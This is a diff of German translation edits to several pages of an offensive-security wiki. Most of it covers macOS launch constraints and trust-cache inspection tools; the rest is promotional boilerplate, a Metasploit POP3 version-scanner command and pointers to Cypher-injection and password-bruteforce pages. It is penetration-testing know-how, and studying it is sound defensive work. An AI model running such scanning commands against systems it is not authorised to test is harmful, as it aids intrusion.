Die [**Fakten, die eine LC verwenden kann, sind dokumentiert**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Zum Beispiel:
|
||||
Die [**Fakten, die ein LC verwenden kann, sind dokumentiert**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Zum Beispiel:
|
||||
|
||||
* is-init-proc: Ein boolescher Wert, der angibt, ob die ausführbare Datei der Initialisierungsprozess des Betriebssystems (`launchd`) sein muss.
|
||||
* is-sip-protected: Ein boolescher Wert, der angibt, ob die ausführbare Datei eine von der Systemintegritätsschutz (SIP) geschützte Datei sein muss.
|
||||
* is-sip-protected: Ein boolescher Wert, der angibt, ob die ausführbare Datei eine Datei ist, die durch den Systemintegritätsschutz (SIP) geschützt ist.
|
||||
* `on-authorized-authapfs-volume:` Ein boolescher Wert, der angibt, ob das Betriebssystem die ausführbare Datei von einem autorisierten, authentifizierten APFS-Volume geladen hat.
|
||||
* `on-authorized-authapfs-volume`: Ein boolescher Wert, der angibt, ob das Betriebssystem die ausführbare Datei von einem autorisierten, authentifizierten APFS-Volume geladen hat.
|
||||
* Cryptexes-Volume
|
||||
|
@ -48,10 +49,10 @@ Die [**Fakten, die eine LC verwenden kann, sind dokumentiert**](https://develope
|
|||
* Innerhalb von /System...
|
||||
* ...
|
||||
|
||||
Wenn eine Apple-Binary signiert ist, **weist sie eine LC-Kategorie** im **Trust Cache** zu.
|
||||
Wenn eine Apple-Binärdatei signiert wird, **wird sie einer LC-Kategorie** im **Trust-Cache** zugewiesen.
|
||||
|
||||
* Die **LC-Kategorien für iOS 16** wurden [**hier umgekehrt und dokumentiert**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
|
||||
* Die aktuellen **LC-Kategorien (macOS 14** - Somona) wurden umgekehrt und ihre [**Beschreibungen finden Sie hier**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
|
||||
* **iOS 16 LC-Kategorien** wurden [**umgekehrt und hier dokumentiert**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
|
||||
* Aktuelle **LC-Kategorien (macOS 14** - Sonoma) wurden umgekehrt und ihre [**Beschreibungen sind hier zu finden**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
|
||||
|
||||
Zum Beispiel ist Kategorie 1:
|
||||
```
|
||||
|
@ -61,40 +62,40 @@ Parent Constraint: is-init-proc
|
|||
```
|
||||
* `(on-authorized-authapfs-volume || on-system-volume)`: Muss sich im System- oder Cryptexes-Volume befinden.
|
||||
* `launch-type == 1`: Muss ein Systemdienst sein (plist in LaunchDaemons).
|
||||
* `validation-category == 1`: Ein Betriebssystem-Executable.
|
||||
* `validation-category == 1`: Eine Betriebssystemausführbare.
|
||||
* `is-init-proc`: Launchd
|
||||
|
||||
### Umkehrung der LC-Kategorien
|
||||
|
||||
Weitere Informationen dazu finden Sie [**hier**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), aber im Grunde genommen sind sie in **AMFI (AppleMobileFileIntegrity)** definiert, daher müssen Sie das Kernel Development Kit herunterladen, um das **KEXT** zu erhalten. Die Symbole, die mit **`kConstraintCategory`** beginnen, sind die **interessanten**. Wenn Sie sie extrahieren, erhalten Sie einen DER (ASN.1) codierten Stream, den Sie mit dem [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) oder der python-asn1-Bibliothek und ihrem `dump.py`-Skript, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master), decodieren müssen, was Ihnen einen verständlicheren String liefert.
|
||||
Sie haben mehr Informationen [**darüber hier**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), aber im Grunde genommen sind sie in **AMFI (AppleMobileFileIntegrity)** definiert, daher müssen Sie das Kernel Development Kit herunterladen, um die **KEXT** zu erhalten. Die Symbole, die mit **`kConstraintCategory`** beginnen, sind die **interessanten**. Wenn Sie sie extrahieren, erhalten Sie einen DER (ASN.1) kodierten Stream, den Sie mit dem [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) oder der python-asn1-Bibliothek und ihrem `dump.py`-Skript, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master), decodieren müssen, was Ihnen eine verständlichere Zeichenkette gibt.
|
||||
|
||||
## Umgebungseinschränkungen
|
||||
## Umgebungsbeschränkungen
|
||||
|
||||
Dies sind die konfigurierten Launch Constraints in **Drittanbieteranwendungen**. Der Entwickler kann die **Fakten** und **logischen Operanden** auswählen, die in seiner Anwendung verwendet werden sollen, um den Zugriff darauf einzuschränken.
|
||||
Dies sind die Launch Constraints, die in **drittanbieter Anwendungen** konfiguriert sind. Der Entwickler kann die **Fakten** und **logischen Operanden auswählen**, die er in seiner Anwendung verwenden möchte, um den Zugriff auf sich selbst einzuschränken.
|
||||
|
||||
Es ist möglich, die Umgebungseinschränkungen einer Anwendung mit folgendem Befehl aufzulisten:
|
||||
Es ist möglich, die Umgebungsbeschränkungen einer Anwendung mit zu enumerieren:
|
||||
```bash
|
||||
codesign -d -vvvv app.app
|
||||
```
|
||||
## Trust-Caches
|
||||
## Vertrauensspeicher
|
||||
|
||||
In **macOS** gibt es einige Trust-Caches:
|
||||
In **macOS** gibt es einige Vertrauensspeicher:
|
||||
|
||||
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
|
||||
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
|
||||
* **`/System/Library/Security/OSLaunchPolicyData`**
|
||||
|
||||
Und in iOS scheint es sich in **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`** zu befinden.
|
||||
Und in iOS sieht es so aus, als wäre es in **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Auf macOS-Geräten mit Apple Silicon verweigert AMFI das Laden einer von Apple signierten Binärdatei, wenn sie nicht im Trust-Cache enthalten ist.
|
||||
Auf macOS, das auf Apple Silicon-Geräten läuft, wird AMFI sich weigern, eine von Apple signierte Binärdatei zu laden, wenn sie nicht im Vertrauensspeicher ist.
|
||||
{% endhint %}
|
||||
|
||||
### Auflisten von Trust-Caches
|
||||
### Auflisten von Vertrauensspeichern
|
||||
|
||||
Die zuvor genannten Trust-Cache-Dateien haben das Format **IMG4** und **IM4P**, wobei IM4P der Payload-Bereich eines IMG4-Formats ist.
|
||||
Die vorherigen Vertrauensspeicherdateien sind im Format **IMG4** und **IM4P**, wobei IM4P der Payload-Bereich eines IMG4-Formats ist.
|
||||
|
||||
Sie können [**pyimg4**](https://github.com/m1stadev/PyIMG4) verwenden, um den Payload der Datenbanken zu extrahieren:
|
||||
Sie können [**pyimg4**](https://github.com/m1stadev/PyIMG4) verwenden, um die Payload von Datenbanken zu extrahieren:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -114,7 +115,7 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
(Eine andere Option könnte sein, das Tool [**img4tool**](https://github.com/tihmstar/img4tool) zu verwenden, das auch auf M1 läuft, selbst wenn die Version veraltet ist und für x86\_64, wenn Sie es an den richtigen Stellen installieren).
|
||||
(Eine weitere Option könnte die Verwendung des Tools [**img4tool**](https://github.com/tihmstar/img4tool) sein, das auch auf M1 läuft, selbst wenn die Version alt ist, und für x86\_64, wenn Sie es an den richtigen Orten installieren).
|
||||
|
||||
Jetzt können Sie das Tool [**trustcache**](https://github.com/CRKatri/trustcache) verwenden, um die Informationen in einem lesbaren Format zu erhalten:
|
||||
```bash
|
||||
|
@ -140,7 +141,7 @@ entry count = 969
|
|||
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
|
||||
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
|
||||
```
|
||||
Der Trust-Cache folgt der folgenden Struktur, daher ist die **LC-Kategorie die vierte Spalte**.
|
||||
Der Trust-Cache folgt der folgenden Struktur, sodass die **LC-Kategorie die 4. Spalte ist**.
|
||||
```c
|
||||
struct trust_cache_entry2 {
|
||||
uint8_t cdhash[CS_CDHASH_LEN];
|
||||
|
@ -150,30 +151,30 @@ uint8_t constraintCategory;
|
|||
uint8_t reserved0;
|
||||
} __attribute__((__packed__));
|
||||
```
|
||||
Dann könnten Sie ein Skript wie [**dieses hier**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) verwenden, um Daten zu extrahieren.
|
||||
Dann könnten Sie ein Skript wie [**dieses**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) verwenden, um Daten zu extrahieren.
|
||||
|
||||
Aus diesen Daten können Sie die Apps überprüfen, die einen **Startbeschränkungswert von `0`** haben, was bedeutet, dass sie nicht eingeschränkt sind ([**hier überprüfen**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056), was jeder Wert bedeutet).
|
||||
Anhand dieser Daten können Sie die Apps mit einem **Wert für Startbeschränkungen von `0`** überprüfen, was die sind, die nicht eingeschränkt sind ([**hier überprüfen**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056), was jeder Wert bedeutet).
|
||||
|
||||
## Angriffsabwehr
|
||||
## Angriffsminderungen
|
||||
|
||||
Startbeschränkungen hätten mehrere alte Angriffe abgewehrt, indem sie sicherstellen, dass der Prozess nicht unter unerwarteten Bedingungen ausgeführt wird. Zum Beispiel aus unerwarteten Orten oder wenn er von einem unerwarteten übergeordneten Prozess aufgerufen wird (wenn nur launchd ihn starten sollte).
|
||||
Startbeschränkungen hätten mehrere alte Angriffe gemildert, indem sie **sicherstellen, dass der Prozess nicht unter unerwarteten Bedingungen ausgeführt wird:** Zum Beispiel von unerwarteten Standorten oder von einem unerwarteten übergeordneten Prozess aufgerufen wird (wenn nur launchd es starten sollte).
|
||||
|
||||
Darüber hinaus schützen Startbeschränkungen auch vor Downgrade-Angriffen.
|
||||
Darüber hinaus **mildern Startbeschränkungen auch Downgrade-Angriffe.**
|
||||
|
||||
Sie schützen jedoch nicht vor gängigen XPC-Missbräuchen, Electron-Code-Injektionen oder dylib-Injektionen ohne Bibliotheksvalidierung (es sei denn, die Team-IDs, die Bibliotheken laden können, sind bekannt).
|
||||
Sie **mildern jedoch keine häufigen XPC** Missbräuche, **Electron** Code-Injektionen oder **dylib-Injektionen** ohne Bibliotheksvalidierung (es sei denn, die Team-IDs, die Bibliotheken laden können, sind bekannt).
|
||||
|
||||
### XPC-Dämonenschutz
|
||||
### XPC-Daemon-Schutz
|
||||
|
||||
In der Sonoma-Version ist eine bemerkenswerte Änderung die **Verantwortungskonfiguration des XPC-Dienstes**. Der XPC-Dienst ist für sich selbst verantwortlich, im Gegensatz dazu ist der verbindende Client verantwortlich. Dies ist im Feedback-Bericht FB13206884 dokumentiert. Diese Konfiguration mag fehlerhaft erscheinen, da sie bestimmte Interaktionen mit dem XPC-Dienst ermöglicht:
|
||||
Im Sonoma-Release ist ein bemerkenswerter Punkt die **Verantwortlichkeitskonfiguration** des Daemon-XPC-Dienstes. Der XPC-Dienst ist für sich selbst verantwortlich, im Gegensatz zum verbindenden Client, der verantwortlich ist. Dies ist im Feedback-Bericht FB13206884 dokumentiert. Diese Konfiguration mag fehlerhaft erscheinen, da sie bestimmte Interaktionen mit dem XPC-Dienst zulässt:
|
||||
|
||||
- **Starten des XPC-Dienstes**: Wenn dies als Fehler angesehen wird, erlaubt diese Konfiguration nicht das Initiieren des XPC-Dienstes durch Angreifercode.
|
||||
- **Verbindung zu einem aktiven Dienst**: Wenn der XPC-Dienst bereits läuft (möglicherweise aktiviert durch seine ursprüngliche Anwendung), gibt es keine Barrieren, um eine Verbindung zu ihm herzustellen.
|
||||
- **Starten des XPC-Dienstes**: Wenn dies als Fehler angesehen wird, erlaubt diese Konfiguration nicht, den XPC-Dienst durch Angreifercode zu initiieren.
|
||||
- **Verbinden mit einem aktiven Dienst**: Wenn der XPC-Dienst bereits läuft (möglicherweise von seiner ursprünglichen Anwendung aktiviert), gibt es keine Barrieren, um sich mit ihm zu verbinden.
|
||||
|
||||
Obwohl die Implementierung von Beschränkungen für den XPC-Dienst vorteilhaft sein könnte, indem der Angriffsvektor eingeschränkt wird, adressiert dies nicht das Hauptproblem. Die Sicherheit des XPC-Dienstes erfordert grundsätzlich eine effektive Validierung des verbindenden Clients. Dies ist nach wie vor die einzige Methode, um die Sicherheit des Dienstes zu stärken. Es ist auch erwähnenswert, dass die genannte Verantwortungskonfiguration derzeit aktiv ist, was möglicherweise nicht mit dem beabsichtigten Design übereinstimmt.
|
||||
Während die Implementierung von Beschränkungen für den XPC-Dienst vorteilhaft sein könnte, indem sie **das Fenster für potenzielle Angriffe verengt**, adressiert sie nicht das Hauptanliegen. Die Sicherheit des XPC-Dienstes sicherzustellen, erfordert grundsätzlich **eine effektive Validierung des verbindenden Clients**. Dies bleibt die einzige Methode, um die Sicherheit des Dienstes zu stärken. Es ist auch erwähnenswert, dass die genannte Verantwortlichkeitskonfiguration derzeit in Betrieb ist, was möglicherweise nicht mit dem beabsichtigten Design übereinstimmt.
|
||||
|
||||
### Electron-Schutz
|
||||
|
||||
Auch wenn es erforderlich ist, dass die Anwendung **von LaunchService geöffnet wird** (in den übergeordneten Beschränkungen). Dies kann mit **`open`** (das Umgebungsvariablen setzen kann) oder mit der **Launch Services API** (bei der Umgebungsvariablen angegeben werden können) erreicht werden.
|
||||
Selbst wenn es erforderlich ist, dass die Anwendung **von LaunchService** (in den übergeordneten Beschränkungen) geöffnet werden muss. Dies kann durch die Verwendung von **`open`** (das Umgebungsvariablen setzen kann) oder durch die Verwendung der **Launch Services API** (wo Umgebungsvariablen angegeben werden können) erreicht werden.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -182,16 +183,17 @@ Auch wenn es erforderlich ist, dass die Anwendung **von LaunchService geöffnet
|
|||
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
|
||||
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersecurity-Unternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks als PDF** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder folgen Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**
|
||||
*
|
||||
* .
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -64,22 +64,17 @@ Dann speichern Sie die Datei, gehen Sie aus allen Verzeichnissen heraus und baue
|
|||
|
||||
Schließlich müssen Sie nur noch **die neue Anwendung signieren**. [Lesen Sie diesen Abschnitt der Seite Smali - Decompiling/\[Modifying\]/Compiling, um zu erfahren, wie Sie sie signieren](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie möchten, dass Ihre **Firma in HackTricks beworben wird** oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich die [**offiziellen PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
|
||||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lerne AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
|
||||
* Arbeitest du in einem **Cybersecurity-Unternehmen**? Möchtest du, dass dein **Unternehmen in HackTricks beworben wird**? Oder möchtest du Zugang zur **neueste Version von PEASS oder HackTricks im PDF-Format herunterladen**? Überprüfe die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecke [**Die PEASS-Familie**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Hol dir die [**offiziellen PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
|
||||
* **Tritt der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile deine Hacking-Tricks, indem du PRs an das** [**hacktricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **sendest.**
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,36 @@
|
|||
# Cypher Injection (neo4j)
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Überprüfen Sie die folgenden Blogs:
|
||||
Überprüfe die folgenden Blogs:
|
||||
|
||||
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
|
||||
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,32 @@
|
|||
# PL/pgSQL Passwort-Bruteforce
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
